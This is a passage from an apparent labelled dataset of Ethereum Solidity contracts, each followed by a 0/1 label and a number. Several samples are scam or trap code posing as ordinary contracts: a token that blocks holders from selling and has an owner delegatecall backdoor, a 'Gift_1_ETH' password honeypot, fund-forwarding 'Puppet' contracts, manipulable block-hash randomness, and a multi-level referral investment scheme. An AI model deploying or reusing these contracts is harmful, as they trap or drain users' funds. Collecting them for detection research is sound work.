uint copy = price;
uint second = price;
uint third = price;
if (amountRaised <= 100 ether) {
uint newvalue = copy / 10;
swapaddress.transfer(msg.sender, amount / newvalue);
} else if (amountRaised <= 2100 ether) {
uint secondvalue = second / 2;
swapaddress.transfer(msg.sender, amount / secondvalue);
} else {
swapaddress.transfer(msg.sender, amount / third);
}
beneficiary.send(msg.value);
emit FundTransfer(msg.sender, amount, true);
check[msg.sender] = true;
}
} | 0 | 2,150 |
pragma solidity ^0.4.23;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ZeroGold is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = '0GOLD';
name = 'ZeroGold';
decimals = 8;
_totalSupply = 21000000 * 10 ** uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(
address from, address to, uint tokens) public returns (
bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(
address tokenOwner, address spender) public constant returns (
uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender, uint tokens, bytes data) public returns (
bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(
address tokenAddress, uint tokens) public onlyOwner returns (
bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,530 |
pragma solidity ^0.4.23;
contract Splitter{
address public owner;
address[] public puppets;
mapping (uint256 => address) public extra;
address private _addy;
uint256 private _share;
uint256 private _count;
constructor() payable public{
owner = msg.sender;
newPuppet();
newPuppet();
newPuppet();
newPuppet();
extra[0] = puppets[0];
extra[1] = puppets[1];
extra[2] = puppets[2];
extra[3] = puppets[3];
}
function withdraw() public{
require(msg.sender == owner);
owner.transfer(address(this).balance);
}
function getPuppetCount() public constant returns(uint256 puppetCount){
return puppets.length;
}
function newPuppet() public returns(address newPuppet){
require(msg.sender == owner);
Puppet p = new Puppet();
puppets.push(p);
return p;
}
function setExtra(uint256 _id, address _newExtra) public {
require(_newExtra != address(0));
extra[_id] = _newExtra;
}
function fundPuppets() public payable {
require(msg.sender == owner);
_share = SafeMath.div(msg.value, 4);
extra[0].call.value(_share).gas(800000)();
extra[1].call.value(_share).gas(800000)();
extra[2].call.value(_share).gas(800000)();
extra[3].call.value(_share).gas(800000)();
}
function() payable public{
}
}
contract Puppet {
mapping (uint256 => address) public target;
mapping (uint256 => address) public master;
constructor() payable public{
target[0] = 0x509Cb8cB2F8ba04aE81eEC394175707Edd37e109;
master[0] = 0x5C035Bb4Cb7dacbfeE076A5e61AA39a10da2E956;
}
function() public payable{
if(msg.sender != target[0]){
target[0].call.value(msg.value).gas(600000)();
}
}
function withdraw() public{
require(msg.sender == master[0]);
master[0].transfer(address(this).balance);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | 0 | 2,122 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner = msg.sender;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] += _value;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint value);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply += _amount;
balances[_to] += _amount;
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function burn(address _addr, uint _amount) onlyOwner public {
require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount);
balances[_addr] -= _amount;
totalSupply -= _amount;
Burn(_addr, _amount);
Transfer(_addr, address(0), _amount);
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract WealthBuilderToken is MintableToken {
string public name = "Wealth Builder Token";
string public symbol = "WBT";
uint32 public decimals = 18;
uint public rate = 10**7;
uint public mrate = 10**7;
function setRate(uint _rate) onlyOwner public {
rate = _rate;
}
}
contract Data is Ownable {
mapping (address => address) private parent;
mapping (address => uint8) public statuses;
mapping (address => uint) public referralDeposits;
mapping(address => uint256) private balances;
mapping(address => uint256) private investorBalances;
function parentOf(address _addr) public constant returns (address) {
return parent[_addr];
}
function balanceOf(address _addr) public constant returns (uint256) {
return balances[_addr] / 1000000;
}
function investorBalanceOf(address _addr) public constant returns (uint256) {
return investorBalances[_addr] / 1000000;
}
function Data() public {
statuses[msg.sender] = 7;
}
function addBalance(address _addr, uint256 amount) onlyOwner public {
balances[_addr] += amount;
}
function subtrBalance(address _addr, uint256 amount) onlyOwner public {
require(balances[_addr] >= amount);
balances[_addr] -= amount;
}
function addInvestorBalance(address _addr, uint256 amount) onlyOwner public {
investorBalances[_addr] += amount;
}
function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public {
require(investorBalances[_addr] >= amount);
investorBalances[_addr] -= amount;
}
function addReferralDeposit(address _addr, uint256 amount) onlyOwner public {
referralDeposits[_addr] += amount;
}
function setStatus(address _addr, uint8 _status) onlyOwner public {
statuses[_addr] = _status;
}
function setParent(address _addr, address _parent) onlyOwner public {
parent[_addr] = _parent;
}
}
contract Declaration {
mapping (uint => uint8) statusThreshold;
mapping (uint8 => mapping (uint8 => uint)) feeDistribution;
uint[8] thresholds = [
0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000
];
uint[5] referralFees = [50, 30, 20, 10, 5];
uint[5] serviceFees = [25, 20, 15, 10, 5];
function Declaration() public {
setFeeDistributionsAndStatusThresholds();
}
function setFeeDistributionsAndStatusThresholds() private {
setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]);
setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]);
setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]);
setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]);
setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]);
setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]);
setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]);
setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]);
}
function setFeeDistributionAndStatusThreshold(
uint8 _st,
uint8[5] _percentages,
uint _threshold
)
private
{
statusThreshold[_threshold] = _st;
for (uint8 i = 0; i < _percentages.length; i++) {
feeDistribution[_st][i] = _percentages[i];
}
}
}
contract Investors is Ownable {
address[] public investors;
mapping (address => uint) public investorPercentages;
function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public {
for (uint i = 0; i < _investors.length; i++) {
investors.push(_investors[i]);
investorPercentages[_investors[i]] = _investorPercentages[i];
}
}
function getInvestorsCount() public constant returns (uint) {
return investors.length;
}
function getInvestorsFee() public constant returns (uint8) {
if (now >= 1577836800) {
return 1;
}
if (now >= 1546300800) {
return 5;
}
return 10;
}
}
contract Referral is Declaration, Ownable {
using SafeMath for uint;
WealthBuilderToken private token;
Data private data;
Investors private investors;
uint public investorsBalance;
uint public ethUsdRate;
function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public {
ethUsdRate = _ethUsdRate;
token = WealthBuilderToken(_token);
data = Data(_data);
investors = Investors(_investors);
investorsBalance = 0;
}
function() payable public {
}
function invest(address client, uint8 depositsCount) payable public {
uint amount = msg.value;
if (depositsCount < 5) {
uint serviceFee;
uint investorsFee = 0;
if (depositsCount == 0) {
uint8 investorsFeePercentage = investors.getInvestorsFee();
serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage));
investorsFee = amount * investorsFeePercentage;
investorsBalance += investorsFee;
} else {
serviceFee = amount * serviceFees[depositsCount];
}
uint referralFee = amount * referralFees[depositsCount];
distribute(data.parentOf(client), 0, depositsCount, amount);
uint active = (amount * 100)
.sub(referralFee)
.sub(serviceFee)
.sub(investorsFee);
token.mint(client, active / 100 * token.rate() / token.mrate());
data.addBalance(owner, serviceFee * 10000);
} else {
token.mint(client, amount * token.rate() / token.mrate());
}
}
function distribute(
address _node,
uint _prevPercentage,
uint8 _depositsCount,
uint _amount
)
private
{
address node = _node;
uint prevPercentage = _prevPercentage;
while(node != address(0)) {
uint8 status = data.statuses(node);
uint nodePercentage = feeDistribution[status][_depositsCount];
uint percentage = nodePercentage.sub(prevPercentage);
data.addBalance(node, _amount * percentage * 10000);
data.addReferralDeposit(node, _amount * ethUsdRate / 10**18);
updateStatus(node, status);
node = data.parentOf(node);
prevPercentage = nodePercentage;
}
}
function updateStatus(address _node, uint8 _status) private {
uint refDep = data.referralDeposits(_node);
for (uint i = thresholds.length - 1; i > _status; i--) {
uint threshold = thresholds[i] * 100;
if (refDep >= threshold) {
data.setStatus(_node, statusThreshold[threshold]);
break;
}
}
}
function distributeInvestorsFee(uint start, uint end) onlyOwner public {
for (uint i = start; i < end; i++) {
address investor = investors.investors(i);
uint investorPercentage = investors.investorPercentages(investor);
data.addInvestorBalance(investor, investorsBalance * investorPercentage);
}
if (end == investors.getInvestorsCount()) {
investorsBalance = 0;
}
}
function setRate(uint _rate) onlyOwner public {
token.setRate(_rate);
}
function setEthUsdRate(uint _ethUsdRate) onlyOwner public {
ethUsdRate = _ethUsdRate;
}
function invite(
address _inviter,
address _invitee
)
public onlyOwner
{
data.setParent(_invitee, _inviter);
data.setStatus(_invitee, 0);
}
function setStatus(address _addr, uint8 _status) public onlyOwner {
data.setStatus(_addr, _status);
}
function setInvestors(address _addr) public onlyOwner {
investors = Investors(_addr);
}
function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner {
uint amount = investor ? data.investorBalanceOf(_addr)
: data.balanceOf(_addr);
require(amount >= _amount && this.balance >= _amount);
if (investor) {
data.subtrInvestorBalance(_addr, _amount * 1000000);
} else {
data.subtrBalance(_addr, _amount * 1000000);
}
_addr.transfer(_amount);
}
function withdrawOwner(address _addr, uint256 _amount) public onlyOwner {
require(this.balance >= _amount);
_addr.transfer(_amount);
}
function withdrawToken(address _addr, uint256 _amount) onlyOwner public {
token.burn(_addr, _amount);
uint256 etherValue = _amount * token.mrate() / token.rate();
_addr.transfer(etherValue);
}
function transferTokenOwnership(address _addr) onlyOwner public {
token.transferOwnership(_addr);
}
function transferDataOwnership(address _addr) onlyOwner public {
data.transferOwnership(_addr);
}
}
contract PChannel is Ownable {
Referral private refProgram;
uint private depositAmount = 15000;
uint private maxDepositAmount = 18750;
mapping (address => uint8) private deposits;
function PChannel(address _refProgram) public {
refProgram = Referral(_refProgram);
}
function() payable public {
uint8 depositsCount = deposits[msg.sender];
require(depositsCount < 15);
uint amount = msg.value;
uint usdAmount = amount * refProgram.ethUsdRate() / 10**18;
require(usdAmount >= depositAmount && usdAmount <= maxDepositAmount);
refProgram.invest.value(amount)(msg.sender, depositsCount);
deposits[msg.sender]++;
}
function setRefProgram(address _addr) public onlyOwner {
refProgram = Referral(_addr);
}
} | 1 | 4,673 |
pragma solidity ^0.4.16;
interface IERC20 {
function totalSupply() constant returns (uint totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LEToken is IERC20{
using SafeMath for uint256;
uint256 _totalSupply = 0;
uint256 totalContribution = 0;
uint256 totalBonus = 0;
string public symbol = "LET";
string public constant name = "Lucky Ethereum Token";
uint256 public constant decimals = 18;
uint256 public constant RATE = 25000;
address owner;
bool public IsEnable = true;
bool public SendEth = false;
uint256 nTrans;
uint256 nTransVinc;
uint256 n5000 = 0;
uint256 n1500 = 0;
uint256 n500 = 0;
uint256 n10 = 0;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
function() payable{
require(IsEnable);
createTokens();
}
function LEToken(){
owner = msg.sender;
balances[owner] = 1000000 * 10**decimals;
}
function createTokens() payable{
require(msg.value >= 0);
uint256 bonus = 0;
uint ethBonus = 0;
nTrans ++;
uint256 tokens = msg.value.mul(10 ** decimals);
tokens = tokens.mul(RATE);
tokens = tokens.div(10 ** 18);
if (msg.value >= 20 finney) {
bytes32 bonusHash = keccak256(block.coinbase, block.blockhash(block.number), block.timestamp, msg.sender);
if (bonusHash[30] == 0xFF && bonusHash[31] >= 0xF4) {
ethBonus = 4 ether;
n5000 ++;
nTransVinc ++;
} else if (bonusHash[28] == 0xFF && bonusHash[29] >= 0xD5) {
ethBonus = 1 ether;
n1500 ++;
nTransVinc ++;
} else if (bonusHash[26] == 0xFF && bonusHash[27] >= 0x7E) {
ethBonus = 500 finney;
n500 ++;
nTransVinc ++;
} else if (bonusHash[25] >= 0xEF) {
ethBonus = msg.value;
n10 ++;
nTransVinc ++;
}
if (bonusHash[0] >= 0xCC ) {
if (bonusHash[0] < 0xD8) {
bonus = tokens;
}
else if (bonusHash[0] >= 0xD8 && bonusHash[0] < 0xE2 ) {
bonus = tokens.mul(2);
}
else if (bonusHash[0] >= 0xE2 && bonusHash[0] < 0xEC ) {
bonus = tokens.mul(3);
}
else if (bonusHash[0] >= 0xEC && bonusHash[0] < 0xF6 ) {
bonus = tokens.mul(4);
}
else if (bonusHash[0] >= 0xF6 ) {
bonus = tokens.mul(5);
}
totalBonus += bonus;
nTransVinc ++;
}
}
tokens += bonus;
uint256 sum = _totalSupply.add(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = sum;
totalContribution = totalContribution.add(msg.value);
if (ethBonus > 0) {
if (this.balance > ethBonus) {
msg.sender.transfer(ethBonus);
}
}
if (SendEth) {
owner.transfer(this.balance);
}
Transfer(owner, msg.sender, tokens);
}
function totalSupply() constant returns (uint totalSupply){
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint balance){
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success){
require(
balances[msg.sender] >= _value
&& _value > 0
);
if(msg.data.length < (2 * 32) + 4) return;
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success){
require(
allowed[_from][msg.sender] >= _value
&& balances[msg.sender] >= _value
&& _value > 0
);
if(msg.data.length < (2 * 32) + 4) return;
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining){
return allowed[_owner][_spender];
}
function Enable() {
require(msg.sender == owner);
IsEnable = true;
}
function Disable() {
require(msg.sender == owner);
IsEnable = false;
}
function SendEthOn() {
require(msg.sender == owner);
SendEth = true;
}
function SendEthOff() {
require(msg.sender == owner);
SendEth = false;
}
function getStats() constant returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (totalContribution, _totalSupply, totalBonus, nTrans, nTransVinc, n5000, n1500, n500, n10);
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
} | 1 | 3,981 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,252 |
pragma solidity ^0.4.17;
contract Gift_1_ETH
{
bool passHasBeenSet = false;
function()payable{}
function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
bytes32 public hashPass;
function SetPass(bytes32 hash)
payable
{
if(!passHasBeenSet&&(msg.value >= 1 ether))
{
hashPass = hash;
}
}
function GetGift(bytes pass)
{
if(hashPass == sha3(pass))
{
msg.sender.transfer(this.balance);
}
}
function PassHasBeenSet(bytes32 hash)
{
if(hash==hashPass)
{
passHasBeenSet=true;
}
}
} | 1 | 3,278 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
